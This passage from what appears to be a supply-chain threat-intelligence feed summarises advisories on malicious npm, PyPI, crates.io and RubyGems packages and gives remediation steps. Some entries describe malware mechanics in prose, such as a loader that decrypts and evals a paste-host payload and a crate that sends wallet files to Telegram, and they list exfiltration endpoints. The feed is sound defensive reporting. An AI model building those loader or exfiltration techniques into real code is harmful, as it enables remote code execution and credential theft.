downloads/month) should be removed, not upgraded. Do: Remove @cexy/wonfca from all projects and lockfiles immediately; do not upgrade; Rotate Facebook account passwords and revoke all active Facebook sessions/access tokens for any account used with the package; Audit logs and network egress for connections to minhdong.site and /api/v1/facebook/login_ios; Check for other credentials or tokens exposed through the compromised session and enable two-factor authentication on affected accounts; Scan build and CI environments that installed the package for further compromise ### [critical] webhook-easy (npm) 1.1.0: malicious remote-execution dropper via eval of paste-host payload https://helix.ml/threat-watch/i/webhook-easy-npm-1-1-0-malicious-remote-execution-dropper-via-eval-of-paste-host-payload · Supply chain · no-fix-needed · since 2026-11-20 GitHub Advisory Database (GHSA-822g-7r9h-j5w4, published 2026-11-20, source: Amazon Inspector via OpenSSF) flags npm package webhook-easy version 1.1.0 as malware. On require('webhook-easy'), src/models.js runs a top-level IIFE that fetches a base64-concealed URL (www.jsonkeeper.com/b/OTNIY), AES-256-CBC decrypts the response with a hardcoded password, and evals the result — executing whatever JavaScript the attacker-controlled paste host serves. src/monitor.js hides a destination URL and auth headers in base64 literals. package.json also declares registry dependencies 'crypto' ^1.0.1 and 'fs' ^0.0.1-security that shadow Node core modules. No patched version exists; the package has no legitimate purpose and any consumer is exposed to arbitrary remote code execution. Do: Remove webhook-easy from all dependency trees immediately; no safe version exists; Audit lockfiles and CI images for webhook-easy@1.1.0 and the shadowing 'crypto'/'fs' registry dependencies; Rotate any secrets, tokens, or credentials that may have been present in environments where the package was required; Review network logs for connections to www.jsonkeeper.com and other paste-host endpoints; Pin dependencies and add malware/behavior scanning to the supply chain pipeline ### [critical] Malicious npm packages dxrs-dos, xueoj-vjtof-util, nhhhh-yhejl-util, teahy-znrpz-util fully compromise installed hosts https://helix.ml/threat-watch/i/malicious-npm-packages-dxrs-dos-xueoj-vjtof-util-nhhhh-yhejl-util-teahy-znrpz-util-fully-compromise-installed-hosts · Supply chain · no-fix-needed · since 2026-11-20 On 2026-11-20 GitHub's Advisory Database published four malware advisories (CWE-506 Embedded Malicious Code) for npm packages dxrs-dos (GHSA-c5fp-459q-c9pp, ~316 downloads/month), xueoj-vjtof-util (GHSA-4ffv-gw64-v99f), nhhhh-yhejl-util (GHSA-c2cw-ccqv-pghc) and teahy-znrpz-util (GHSA-frxp-365q-8p36). Every version (>= 0) is affected and no patched versions exist, so any installation is considered a full compromise giving an outside entity control of the machine, exposing secrets and keys. Removal of the package does not guarantee removal of the malicious software. Anyone with these packages installed should treat the host as compromised, rotate all credentials from a clean machine, and rebuild affected systems. Do: Immediately remove dxrs-dos, xueoj-vjtof-util, nhhhh-yhejl-util and teahy-znrpz-util from all projects and lockfiles; Treat any machine where they ran as fully compromised: rotate all secrets, keys, tokens and credentials from a clean computer; Rebuild/reimage affected machines; do not assume package removal removed the malware; Audit npm dependency trees and CI caches for these packages and block them at the registry/proxy level; Review logs and network traffic for signs of exfiltration or attacker access since installation ### [critical] Malicious npm package nuadg-jhtvh-util — full system compromise on install; no safe version exists https://helix.ml/threat-watch/i/malicious-npm-package-nuadg-jhtvh-util-full-system-compromise-on-install-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-20 GitHub's advisory database published GHSA-h68g-7c77-4w37 on 2026-11-20 flagging the npm package nuadg-jhtvh-util as malware (CWE-506, embedded malicious code). Every published version (>= 0) is affected and there are no patched versions, meaning the package cannot be safely used at all. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity, and that removal of the package does not guarantee removal of all malicious software it installed. Any developer or CI environment that installed the package is affected; secrets and keys on those machines are presumed stolen. No exploitation timeline or distribution details are given. Do: Rotate all secrets, keys, tokens and credentials stored on any machine where the package was installed, using a clean computer; Rebuild or wipe affected machines rather than just uninstalling the package; Audit dependency trees and lockfiles for nuadg-jhtvh-util and remove it from all projects and CI pipelines; Review logs and network traffic for signs of compromise or exfiltration; Block the package in npm/registry policy and internal mirrors ### [critical] tsbwt-hawsi-util (npm): malicious package compromises any machine where it is installed https://helix.ml/threat-watch/i/tsbwt-hawsi-util-npm-malicious-package-compromises-any-machine-where-it-is-installed · Supply chain · no-fix-needed · since 2026-11-20 GitHub published a malware advisory (GHSA-hq35-gwxr-qq5x) for the npm package tsbwt-hawsi-util on 2026-11-20. Every version (>= 0) contains embedded malicious code (CWE-506) and no patched version exists. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; removing the package does not guarantee removal of all malicious software. Any developer, CI system, or end user who installed the package is affected. The only remediation is removal of the package plus full incident response, since no safe version exists. Do: Treat any machine with tsbwt-hawsi-util installed as fully compromised; isolate it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and rebuild/reimage affected systems; audit for persistence and follow-on malware; Audit dependency locks and CI caches for the package and block it in registries/proxies; Review logs for signs of exfiltration or unauthorized access following installation ### [high] MCP Python SDK: OAuth client sends credentials to a server-chosen auth server (CVE-2026-115563) https://helix.ml/threat-watch/i/mcp-python-sdk-oauth-credential-redirect-mcp-client-could-leak-client-secrets-to-attacker-chosen-auth-server-cve-2026-11 · Supply chain · patched · since 2026-11-19 · CVE-2026-115563 The MCP Python SDK's OAuth client can send a client secret, authorization code, PKCE code_verifier or signed client assertion to a token endpoint that an untrusted MCP server chooses. In 1.9.1 to 1.29.1 and 2.0.0 to 2.1.1 the client did not check the issuer of authorization server metadata, and stored or pre-provisioned client credentials were not bound to the server they belong to. In 2.x the gap appears only on fallback discovery (no protected resource metadata, or a 403 insufficient_scope response). Affected are HTTP clients using OAuthClientProvider, ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider or the deprecated RFC7523OAuthClientProvider. Fixed in 1.30.0 and 2.2.0. Upgrading alone does not close the hole for the two unattended providers: they must be given issuer= naming the authorization server their credentials belong to, and stored client registrations must be cleared once so they re-register bound to that issuer. Credentials that reached an untrusted server before the fix should be rotated and their tokens revoked. Fixed: mcp 1.30.0; mcp 2.2.0 Do: Upgrade mcp to 1.30.0 (1.x) or 2.2.0 (2.x) or later; Pass issuer= to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider naming the authorization server their credentials belong to; Clear stored OAuth client registrations so the client re-registers with issuer binding (or set issuer on pre-registered records); Rotate client secrets and revoke tokens at the authorization server for any client that may have connected to an untrusted MCP server; Until patched, connect OAuth-enabled MCP clients only to fully trusted MCP servers; replace deprecated RFC7523OAuthClientProvider ### [critical] npm typosquat malware wave: abyikula/abyil/aciaiaggu packages — full machine compromise on install (no CVE) https://helix.ml/threat-watch/i/npm-typosquat-malware-wave-abyikula-abyil-aciaiaggu-packages-full-machine-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub's advisory database published four critical malware advisories for npm packages: abyikula-nioybnali-lauykia (1.1.3), abyil-nina-lasuk (1.3.3), abyil-nionai-lasuk (1.3.3) and aciaiaggu-idat-gfda (1.1.2). All are flagged CWE-506 embedded malicious code with no patched versions and no known source code, indicating deliberately published malicious packages (likely typosquats of the popular 'abyil'/'abyss' style names). GitHub's guidance states any machine with these packages installed or running should be considered fully compromised, with attacker access to secrets and keys. Downloads range from 3 to 248 per month, so exposure is limited but real. Removal of the package alone is not guaranteed to remove the malicious software. Do: Check lockfiles and node_modules for the four package names and versions; remove them from all machines and CI; Treat affected machines as compromised: rotate all secrets, keys, tokens and credentials stored there from a clean machine; Rebuild/reimage affected hosts and audit for persistence mechanisms; Block the packages in your registry/proxy and audit recent installs for similar typosquats ### [critical] npm typosquat malware wave: abiba-avin-aumauna, abina-amugmi-amm, abukhalid — full machine compromise on install https://helix.ml/threat-watch/i/npm-typosquat-malware-wave-abiba-avin-aumauna-abina-amugmi-amm-abukhalid-full-machine-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub's Advisory Database published three critical malware advisories (GHSA-7h99-fgqf-hr3c, GHSA-4gr2-c235-xq3h, GHSA-v56h-584w-6f7p) covering npm packages abiba-avin-aumauna, abina-amugmi-amm and abukhalid, each at version 1.0.0 with roughly 140-143 downloads per month. All are flagged CWE-506 embedded malicious code with no patched versions and no known source code. GitHub's standard guidance states any machine with these packages installed or running should be considered fully compromised, implying credential and secret theft with possible remote control by an outside entity. Anyone who installed version 1.0.0 of any of the three packages is affected. Removal alone is not guaranteed to eliminate the malicious software; there is no fix beyond removal and remediation. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine that installed these packages, using a clean computer; Remove the packages and rebuild/reimage affected machines; do not assume removal fully cleans the system; Audit dependency trees and CI caches for the three package names and version 1.0.0; block them in registries and lockfiles; Review access logs and network egress for signs of exfiltration or remote control since installation; Report suspected installs to security teams and monitor for related typosquat packages ### [critical] Malicious npm package @andrewstory18/is-real-odd — full host compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-andrewstory18-is-real-odd-full-host-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-19 GitHub's advisory database published GHSA-f8vg-jp77-mvx4 on 2026-11-19 flagging the npm package @andrewstory18/is-real-odd as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched version exists; the advisory recommends treating any machine with the package installed or running as fully compromised. Any computer that installed it may have had full control handed to an outside entity, so removing the package does not guarantee removal of the malicious software. The package saw roughly 851 downloads per month, so developers and CI systems that pulled it are exposed to secret and key theft. Remediation is incident response, not an upgrade: remove the package, rotate all credentials from a clean machine, and rebuild affected systems. Do: Treat any machine with @andrewstory18/is-real-odd installed or running as fully compromised; Rotate all secrets, keys, and credentials stored on affected machines immediately, from a clean computer; Remove the package from dependencies, lockfiles, and caches; audit for it in CI and build environments; Reimage or rebuild affected hosts; do not assume removal of the package removes the malware; Review logs for post-install activity and signs of exfiltration or persistence ### [critical] Tabnine: unscoped npm package 'tabnine' (not the @tabnine vendor scope) flagged as malware, all versions https://helix.ml/threat-watch/i/tabnine-npm-package-flagged-as-malware-all-versions-compromised-full-machine-takeover-risk · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub published GHSA-8575-5pff-xp49, rating the unscoped npm package tabnine as embedded malicious code (CWE-506) for every version (>= 0), with no fixed version. The advisory says any machine that installed or ran the package should be treated as fully compromised, that the package should be removed, and that removal may not remove everything it installed. Tabnine's own npm packages are published under the @tabnine scope; for example @tabnine/jupyterlab, whose repository is codota/tabnine-jupyterlab and whose latest release is 0.0.24, while codota is the vendor's GitHub organisation. The advisory names no publisher and does not describe the package as a hijacked Tabnine release, so the record treats it as a malicious package under the bare brand name rather than a compromised vendor package; the publisher is unconfirmed. The registry now lists only npm's 0.0.1-security placeholder for tabnine, and its API reports 50 downloads for the 30 days to 2026-11-19. Action: remove any tabnine dependency that is not in the @tabnine scope, search lockfiles and CI caches, treat any host that installed it as compromised, rotate secrets from a clean machine, and rebuild. Do: Remove any dependency on the unscoped npm package tabnine; the vendor's npm packages are under the @tabnine scope, so confirm the scope in every manifest and lockfile; Search lockfiles, node_modules, CI caches and build images for the package, including transitive copies, and review install logs for it; Treat any developer machine or CI runner that installed or ran it as compromised: rotate secrets, keys and tokens from a different, clean computer; Rebuild or reimage affected hosts from trusted images; do not rely on uninstalling the package; Block the unscoped name in registry proxies, allowlists and lockfile policy ### [critical] npm malware: ten city-named packages (nanjing, harbin, jabalpur and seven more) flagged CWE-506, all versions https://helix.ml/threat-watch/i/shai-hulud-style-npm-malware-wave-nanjing-ludhiana-jabalpur-harbin-packages-fully-compromise-installed-machines · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub published ten malware advisories (CWE-506) for ten unscoped npm names: nanjing, ludhiana, jabalpur, harbin, meerut, dhaka, jeddah, yangon, daressalaam and algiers. Each advisory lists every version (>= 0) as malicious, with no fixed version, and says any machine that installed or ran one of these packages should be treated as fully compromised, with its secrets rotated from a different computer. The advisories name no publisher, no payload and no propagation mechanism. Between 14:21 and 14:26 UTC on the same day the npm registry replaced each name with npm's own 0.0.1-security placeholder, so the malicious versions are no longer served. The registry API reports 8 to 21 downloads per name for the 30 days to 2026-11-19. We found no primary or vendor writeup that describes the code or any self-spreading behaviour, so the Shai-Hulud label and the worm framing are removed; whether these are worm-like or stub packages is unconfirmed. Remediation: search lockfiles, node_modules and CI caches for the ten names, treat any host or runner that installed one as compromised, rotate credentials from a clean machine, and rebuild rather than only uninstalling. Do: Search lockfiles, node_modules, CI caches and build images for the ten names (nanjing, ludhiana, jabalpur, harbin, meerut, dhaka, jeddah, yangon, daressalaam, algiers) and remove them, including transitive copies; Treat any host, container or CI runner that installed or ran one of them as compromised: rotate secrets, tokens, SSH keys and cloud credentials from a different, clean computer; Rebuild affected hosts and images from trusted sources rather than relying on uninstalling the packages, as the advisories warn removal does not undo everything the code may have done; Search npm install logs and pipeline history for these names and block them in registry proxies, allowlists or lockfile policy; Review other recent npm additions with generic or place-name identifiers before installing them, and pin dependencies to known-good versions ### [critical] Malicious npm package @mibbp/agent-observer compromises any machine where it is installed https://helix.ml/threat-watch/i/malicious-npm-package-mibbp-agent-observer-compromises-any-machine-where-it-is-installed · Supply chain · no-fix-needed · since 2026-11-19 GitHub published advisory GHSA-2r45-7hg7-w99r on 2026-11-19 flagging the npm package @mibbp/agent-observer as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, implying the code grants outside attackers full control of the host, enabling theft of secrets, keys and credentials. The package sees roughly 127 downloads per month, so exposure is limited but real. Removal of the package alone is not guaranteed to remove all malicious software it may have installed. No fix is available; the only remediation is removal plus full incident response. Do: Rotate all secrets, keys and credentials stored on any machine where the package was installed, using a clean computer; Remove @mibbp/agent-observer from all projects and lockfiles and block it in dependency policy; Rebuild/reimage affected machines; do not assume removal of the package removes the malware; Audit for signs of compromise and unexpected outbound connections or persistence mechanisms; Check CI/CD environments and developer workstations for the package in dependency trees ### [critical] besk (crates.io): malicious Rust crate steals crypto wallet files via Telegram and Groq API https://helix.ml/threat-watch/i/besk-crates-io-malicious-rust-crate-steals-crypto-wallet-files-via-telegram-and-groq-api · Supply chain · no-fix-needed · since 2026-11-19 The besk crate (version 0.1.1) on crates.io was identified as malware by Amazon Inspector and reported via OpenSSF/GitHub Advisory Database on 2026-11-19. Its binary enumerates the user's home directory with WalkDir, matches wallet/keystore files, zips them, and exfiltrates them to a hardcoded Telegram chat id (7304091279) via the toxtg crate and to the Groq LLM API using an embedded gsk_ bearer key. Dependencies stage keystroke capture (rdev, evdev) and Windows registry access. The payload is hidden among ~40-60 KB of obfuscated padding functions with randomized identifiers. The crate's Russian description as a 'cybersecurity learning project' contradicts its behavior. No patched version exists; the crate is malware and has been removed/advisory published. Users who ran besk 0.1.1 should treat wallet keys and credentials as compromised. Do: Remove besk 0.1.1 from all projects and environments immediately; Rotate any crypto wallet keys, seed phrases, and keystore credentials on machines where the binary was run; Audit affected hosts for keylogging and registry persistence artifacts; consider full reimage; Check build/CI logs and lockfiles for accidental inclusion of besk; Block exfiltration endpoints (Telegram chat id 7304091279, api.groq.com key usage) at network egress ### [critical] Malicious npm package item-validates — full compromise of installed machines; no safe version exists https://helix.ml/threat-watch/i/malicious-npm-package-item-validates-full-compromise-of-installed-machines-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-19 GitHub's malware advisory database published GHSA-pm45-rm93-2g47 on 2026-11-19 flagging the npm package item-validates as embedded malicious code (CWE-506). All versions (>=0) are affected and no patched version exists. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control, including access to secrets and keys. The package sees roughly 485 downloads per month, so exposure is limited but real. Because the malware may grant an outside entity persistent control, removal of the package alone cannot be assumed to eliminate the compromise. There is no fix; remediation is removal plus full incident response on affected machines. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine where item-validates was installed, using a clean machine; Remove item-validates from all projects and lockfiles and audit for other typosquat/malicious dependencies; Rebuild or wipe affected machines; do not assume removal of the package removed the malware; Review logs and network traffic for signs of exfiltration or attacker access since installation; Block installs of the package and report/flag it to npm ### [critical] Malicious npm packages (@axo_cuy/baileys, @axo_cuy/baileyss, @denzz221/baileys, @bellaxchan/libsignal-node): typosquat WhatsApp/Baileys libraries fully compromise installed hosts (no CVE) https://helix.ml/threat-watch/i/malicious-npm-packages-axo-cuy-baileys-axo-cuy-baileyss-denzz221-baileys-bellaxchan-libsignal-node-typosquat-whatsapp-ba · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub published four malware advisories for npm packages impersonating the popular Baileys WhatsApp automation library and libsignal: @axo_cuy/baileys, @axo_cuy/baileyss (~2,490 downloads/month), @denzz221/baileys (~120 downloads/month) and @bellaxchan/libsignal-node (~89 downloads/month, 169 GitHub stars). All versions (>=0) are flagged as embedded malicious code (CWE-506) with no patched versions. GitHub's standard malware wording states any machine with the package installed or running should be considered fully compromised, implying attacker control, secret/key theft and possible persistence beyond simple removal. Anyone who installed these packages is affected; removal alone is not guaranteed to be sufficient. Do: Rotate all secrets, API keys, tokens and credentials stored on or accessible from any machine where these packages were installed, using a clean machine; Remove the packages and rebuild/reimage affected hosts; do not trust a simple uninstall; Audit install/CI logs and lockfiles for the four package names and purge them from dependencies; Hunt for persistence, unexpected processes, and outbound connections on affected systems; Block the packages in npm registries/proxies and add them to dependency firewalls ### [critical] Malicious npm packages: npmresearch2026-scope-test, scope-test-af5c5e, metrics-probe-9b4c — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-packages-npmresearch2026-scope-test-scope-test-af5c5e-metrics-probe-9b4c-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-19 GitHub's Advisory Database published four malware advisories on 2026-11-19 for npm packages npmresearch2026-scope-test, scope-test-af5c5e, metrics-probe-9b4c and npmresearch2026-scope-test-b. All versions (>= 0) are flagged as embedded malicious code (CWE-506) with no patched versions; GitHub states any machine with the packages installed or running should be considered fully compromised, with secrets and keys exposed to an outside entity. The similarly named packages suggest a coordinated campaign of typosquat/scope-test malware uploads. One package (npmresearch2026-scope-test-b) shows ~39 downloads/month, indicating limited but real reach. Removal of the package does not guarantee removal of the malicious software. No fix exists; remediation is host-level incident response. Do: Remove the packages from all systems and treat affected machines as fully compromised; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild/reimage affected hosts and audit for persistence mechanisms; Audit dependency lockfiles and CI pipelines for these package names and block them; Check npm install logs for historical installs of these packages ### [critical] flo-pro-adk (PyPI): malicious package exfiltrates host info on install/import (no CVE) https://helix.ml/threat-watch/i/flo-pro-adk-pypi-malicious-package-exfiltrates-host-info-on-install-import-no-cve · Supply chain · no-fix-needed · since 2026-11-19 GitHub's advisory database (credited to kam193/OpenSSF) published a malware advisory for the PyPI package flo-pro-adk on 2026-11-19. Versions 0.0.0 and 1.0.0 contain no legitimate functionality: installing the package or importing the module exfiltrates basic host information such as IP address and username, and setup.py overrides the install command to execute malicious code during installation. The package is categorized as PROBABLY_PENTEST under the GENERIC-standard-pypi-install-pentest campaign with limited risk. No patched versions exist; the only mitigation is removal of the package and blocking its use. Anyone who pip-installed flo-pro-adk or imported it should treat the host as potentially compromised. Do: Remove flo-pro-adk from all environments and dependencies; block the package name in internal PyPI mirrors and dependency scanning; Audit systems where it was installed or imported for exfiltrated data (IP, username) and signs of further compromise; Rotate credentials and secrets accessible from affected hosts as a precaution; Review CI/CD and developer machines for pip install history and rebuild if the package ran during installation ### [critical] requester-lb (npm): malicious package fully compromises machines that install it; no safe version exists https://helix.ml/threat-watch/i/requester-lb-npm-malicious-package-fully-compromises-machines-that-install-it-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-19 GitHub published a malware advisory (GHSA-6h9x-rjf5-jw55) for the npm package requester-lb on 2026-11-19. The package contains embedded malicious code (CWE-506) and every published version (>= 0) is affected, with no patched version available. Any computer where the package is installed or running must be considered fully compromised, with control potentially handed to an outside entity. The package sees roughly 424 downloads per month. Because the compromise grants attacker control of the host, removal of the package alone cannot be assumed to eliminate the malicious software. Organisations using it should treat all secrets and keys on affected machines as stolen and rotate them from a clean machine, rebuild affected systems, and audit for persistence. Do: Immediately rotate all secrets, keys, and credentials stored on or accessible from machines where requester-lb was installed, using a clean, uncompromised computer; Remove requester-lb and rebuild/reimage affected machines from trusted images; do not assume removal fully cleans the system; Audit affected hosts for persistence mechanisms and unauthorized access; Block and ban requester-lb in dependency lockfiles and CI pipelines; scan repositories and build caches for it; Review logs for signs of exfiltration or attacker activity since installation ### [critical] fortworth (npm): malicious package flagged as malware — full compromise of any machine where installed https://helix.ml/threat-watch/i/fortworth-npm-malicious-package-flagged-as-malware-full-compromise-of-any-machine-where-installed · Supply chain · no-fix-needed · since 2026-11-19 GitHub's malware advisory database flagged the npm package 'fortworth' as malware (GHSA-2744-9f6f-pwvj), published and reviewed 2026-11-19. All versions (>= 0) are affected and there are no patched versions; the package has no known source code repository. The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. Secrets and keys stored on affected machines must be rotated immediately. Removal of the package does not guarantee removal of all malicious software installed as a result. No fixed version exists, so remediation is removal plus host forensics and credential rotation. Do: Rotate all secrets, keys, and credentials stored on machines where fortworth was installed, using a clean computer; Remove the fortworth package from all projects and dependencies; Rebuild or reimage affected machines; do not assume removal cleans the compromise; Audit for persistence mechanisms and unexpected outbound connections on affected hosts; Check dependency lockfiles and CI caches for fortworth and block it in package registries/proxies ### [critical] npm city-named malware packages (sanantonio, oklahomacity, elpaso, bakersfield) — full machine compromise https://helix.ml/threat-watch/i/npm-city-named-malware-packages-sanantonio-oklahomacity-elpaso-bakersfield-full-machine-compromise · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 GitHub added four malware advisories for npm packages named after US cities: sanantonio (GHSA-j7g4-cw2x-q3x8), oklahomacity (GHSA-rrr2-8q34-85xx, ~19 downloads/month), elpaso (GHSA-jfpc-fc9q-j73r, ~26 downloads/month) and bakersfield (GHSA-xjhh-6c5p-jq5j, ~16 downloads/month). All versions (>= 0) are affected, CWE-506 embedded malicious code, and no patched versions exist. GitHub's standard malware guidance applies: any machine with these packages installed or running should be considered fully compromised, with attacker access to secrets and keys. The packages appear to be typosquat-style or low-visibility malicious publishes; no common campaign name is given. Removal alone is not guaranteed to eliminate the malicious software. Do: Immediately stop using and remove sanantonio, oklahomacity, elpaso and bakersfield from all projects and lockfiles; Rotate all secrets, API keys, tokens and credentials stored on any machine where these packages were installed, using a clean machine; Rebuild/reimage affected machines and audit for persistence mechanisms; Audit CI/CD and dependency caches for these packages and block them in dependency firewalls/allowlists; Review npm install logs to determine exposure window and what data may have been exfiltrated ### [critical] @coframe-gtm/annotations npm package is malware — full machine compromise on install https://helix.ml/threat-watch/i/coframe-gtm-annotations-npm-package-is-malware-full-machine-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-19 GitHub's advisory database published a malware advisory (GHSA-q2h4-4569-r3g5) for the npm package @coframe-gtm/annotations on 2026-11-19. The package, which receives roughly 884 downloads per month, contains embedded malicious code (CWE-506) and has no legitimate purpose; every published version (>= 0) is affected and no patched version exists. GitHub states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. Anyone who installed the package should treat all secrets and keys on the affected machine as stolen and rotate them from a clean machine. Removal of the package alone cannot guarantee removal of the malicious software it may have deployed. Do: Immediately stop using and remove @coframe-gtm/annotations from all projects and lockfiles; Treat affected machines as fully compromised: rotate all secrets, keys, tokens and credentials from a clean computer; Rebuild/reimage affected machines and audit for persistence and additional malicious software; Check CI/CD systems and dependency caches for the package and any artifacts built with it; Review logs for signs of exfiltration or attacker activity since installation ### [critical] developmentstelemetry (npm): malicious package compromises any machine where installed (no CVE) https://helix.ml/threat-watch/i/developmentstelemetry-npm-malicious-package-compromises-any-machine-where-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-19 GitHub published a malware advisory (GHSA-v4vq-23qw-j3r8) for the npm package developmentstelemetry on 2026-11-19. Every version (>= 0) is affected and no patched version exists; the package is classified as embedded malicious code (CWE-506). Any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside actor, so all secrets and keys on affected machines must be treated as stolen. Removal of the package does not guarantee removal of malicious software it may have installed. No exploitation details or victim counts are given, but any developer or CI environment that installed the package is at risk. There is no fix; remediation is removal plus credential rotation from a clean machine. Do: Remove developmentstelemetry from all projects, lockfiles and CI pipelines; Rotate all secrets, keys and credentials stored on or accessible from affected machines, from a clean computer; Rebuild affected machines or containers from trusted images; audit for persistence; Audit npm install logs and dependency trees for other suspicious or typosquatted packages ### [critical] Malicious npm package @devcorelab/postcss-animkit backdoors developer machines https://helix.ml/threat-watch/i/malicious-npm-package-devcorelab-postcss-animkit-backdoors-developer-machines · Supply chain · no-fix-needed · since 2026-11-19 GitHub's advisory database published a malware advisory (GHSA-fwpf-2rwq-r74v) for the npm package @devcorelab/postcss-animkit, flagged under CWE-506 (embedded malicious code). All versions (>= 0) are affected and no patched version exists; the package has no known source code repository. The advisory states any computer with the package installed or running should be considered fully compromised, implying the malicious code grants outside parties full control of the host. Reach appears limited (~22 downloads/month), but any developer or CI environment that installed it is assumed compromised. There is no fix; remediation consists of removing the package and rotating all secrets and keys from a clean machine. Do: Treat any machine where the package was installed or executed as fully compromised; rebuild from trusted images; Rotate all secrets, keys, and credentials stored on affected machines immediately, from a different clean computer; Remove @devcorelab/postcss-animkit from all projects, lockfiles, and CI pipelines and audit for unexpected post-install scripts; Check npm audit logs and CI logs for installs of the package and any follow-on network activity; Block the package name in internal registries/proxies and scan dependencies for similar typosquat-style packages ### [critical] Malicious npm package tailwind-keyframe-utils — full host compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-tailwind-keyframe-utils-full-host-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-19 GitHub published a malware advisory (GHSA-vw84-96h8-p9rf) for the npm package tailwind-keyframe-utils on 2026-11-19. Every published version (>= 0) contains embedded malicious code (CWE-506), and no patched version exists. Installing or running the package is treated as giving an outside attacker full control of the machine, so any secrets, keys, or credentials stored on affected systems should be considered stolen. Any developer or CI environment that installed the package is affected. There is no fix; the only remediation is removal of the package plus full credential rotation and host forensics/rebuild, since removal cannot guarantee all malicious software is eliminated. Do: Rotate all secrets, keys, tokens, and credentials stored on machines where the package was installed, using a clean machine; Remove tailwind-keyframe-utils from all projects, lockfiles, and CI pipelines and audit for other malicious changes; Rebuild or forensically review affected hosts; assume full compromise; Check npm audit logs and dependency trees for how the package was introduced; Block the package name in internal registries and dependency scanning ### [critical] Malicious npm package fast-deep-thinking — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-fast-deep-thinking-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-19 GitHub's malware advisory database published GHSA-6g8w-4887-v6p3 on 2026-11-19 flagging the npm package fast-deep-thinking as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched version exists; the package has no known source code repository and reportedly sees ~700 downloads per month. The advisory states that any computer with the package installed or running should be considered fully compromised, implying the malicious code grants outside actors full control of the host, enabling theft of secrets, keys and credentials and persistence beyond simple package removal. There is no fix; remediation is limited to removal and incident response. Any developer or CI environment that installed the package should treat credentials as stolen and rotate them from a clean machine. Do: Rotate all secrets, keys, tokens and credentials stored on any machine where the package was installed, using a different, uncompromised computer; Rebuild/reimage affected machines; do not assume removing the package removes the malware; Audit systems and CI for signs of persistence or unauthorized access; Remove the package from all projects, lockfiles and dependency caches; Block the package name in internal registries/proxies and review dependency resolution logs for installs ### [critical] Malicious npm package @claudeorg/universal-code-generator — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-claudeorg-universal-code-generator-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-19 GitHub published advisory GHSA-2rgp-c9mf-f8q7 on 2026-11-19 flagging the npm package @claudeorg/universal-code-generator as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, and recommends rotating all secrets and keys from a separate machine. The package name appears to impersonate the Claude/Anthropic brand to lure developers. Removal of the package alone is not guaranteed to eliminate the malicious software. No CVE is assigned; the advisory is the primary source. Do: Remove @claudeorg/universal-code-generator from all machines and CI immediately; Rotate all secrets, API keys, tokens and credentials stored on affected machines, using a clean computer; Reimage or rebuild affected machines; do not assume removal cleans the infection; Audit dependency lockfiles and npm install history for the package; Block the package name in internal registries and CI pipelines ### [critical] litecore-lib-ltc (npm): malicious package compromises any machine where it is installed; no safe version exists https://helix.ml/threat-watch/i/litecore-lib-ltc-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-19 GitHub's malware advisory database flagged the npm package litecore-lib-ltc as containing embedded malicious code (CWE-506), published 2026-11-19. Every version (>= 0) is affected and no patched version exists; the package appears to be a typosquat-style malicious library with no known source code repository. GitHub states that any computer with the package installed or running should be considered fully compromised, implying full control may have been handed to an outside actor, with risk of secret and key theft. The package sees roughly 6,000 downloads per month, so some installed base is likely. Removal of the package alone cannot be assumed to remove all malicious software it deployed. There is no fix; remediation is host-level incident response and credential rotation. Do: Treat any machine with litecore-lib-ltc installed as fully compromised; isolate and forensically review it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and rebuild affected systems from trusted images rather than trusting cleanup; Audit dependency lockfiles and CI/CD environments for the package and block it in registries/proxies; Review logs for signs of exfiltration or persistence dating from installation ### [critical] aws_sdk_wrapper (RubyGems): malicious gem steals AWS IAM credentials and DB env vars at install/require time https://helix.ml/threat-watch/i/aws-sdk-wrapper-rubygems-malicious-gem-steals-aws-iam-credentials-and-db-env-vars-at-install-require-time · Supply chain · no-fix-needed · since 2026-11-19 The RubyGems package aws_sdk_wrapper 